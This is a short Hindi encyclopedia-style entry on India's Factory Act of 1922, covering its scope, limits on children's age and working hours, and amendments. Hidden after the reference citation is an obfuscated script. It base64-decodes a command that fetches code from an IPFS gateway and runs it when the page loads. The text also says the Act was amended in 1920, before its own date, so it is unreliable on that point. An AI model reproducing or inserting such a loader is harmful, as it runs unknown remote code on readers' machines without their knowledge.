कारख़ाना अधिनियम, 1922
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कारख़ाना अधिनियम, 1922 गवर्नर-जनरल लॉर्ड रीडिंग के समय में लाया गया। श्रमिकों के हितों की रक्षा हेतु यह अधिनियम लाया गया था।
मुख्य प्रावधान
- यह अधिनियम उन कारख़ानों पर लागू था, जहां श्रमिकों की संख्या 20 से अधिक थी या बिजली का प्रयोग होता था।
- इस अधिनियम के द्वारा कारख़ानों में कार्य करने वाले बच्चों की आयु 12 से 15 वर्ष के बीच निश्चित की गई थी। इसके साथ ही कार्य करने की अवधि 6 घंटे प्रतिदिन निर्धारित थी।
- यह अधिनियम 1920, 1926 और 1931 में आंशिक रूप से संशोधित भी हुआ।[1]
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टीका टिप्पणी और संदर्भ
- ↑ भारत में कारखाना अधिनियम (हिंदी) divanshugs.blogspot.in। अभिगमन तिथि: 04, अप्रैल।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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